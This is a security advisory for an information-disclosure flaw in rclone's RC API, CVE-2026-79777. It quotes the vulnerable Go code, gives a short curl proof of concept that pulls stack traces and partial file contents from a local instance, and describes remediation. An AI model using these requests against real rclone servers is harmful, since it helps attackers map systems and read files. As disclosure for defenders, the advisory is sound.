rclone before v1.75.0 Information Disclosure via RC API

Exploitation and risk

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-79777

Published

rclone before v1.75.0 includes full Go stack traces in RC API error responses when panics occur. Attackers can trigger panics to leak internal file paths, module versions, goroutine states, and memory addresses.

### Summary When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller. ### Details The panic recovery in `fs/rc/jobs/job.go:110-115`: ```go func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) { defer func() { if r := recover(); r != nil { j.mu.Lock() j.EndTime = time.Now() j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack())) // ... } }() ``` The full `debug.Stack()` output is placed into `j.Error`, which is then returned in the HTTP response JSON. ### PoC Trigger a parse error by setting config path to a non-INI file, then calling dump: ```bash curl -s -X POST http://localhost:5572/config/setpath \ -H "Content-Type: application/json" \ -d '{"path":"/etc/hostname"}' curl -s -X POST http://localhost:5572/config/dump ``` Response includes: ```json { "error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...", "status": 500 } ``` **Disclosed information includes:** - Full filesystem paths (`github.com/rclone/rclone/fs/config/config.go:377`) - Go module versions (`github.com/go-chi/chi/[email protected]`) - Go runtime version (from binary) - Goroutine IDs and states - Memory addresses (ASLR leak) - File contents (first unparseable line of the target file) **Tested and confirmed on rclone v1.74.4.** ### Impact Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files. ### Affected Versions All versions with RC API support through at least v1.74.4. ### Remediation Return a generic error message to the API caller. Log the full stack trace server-side only. Strip `debug.Stack()` from HTTP responses.
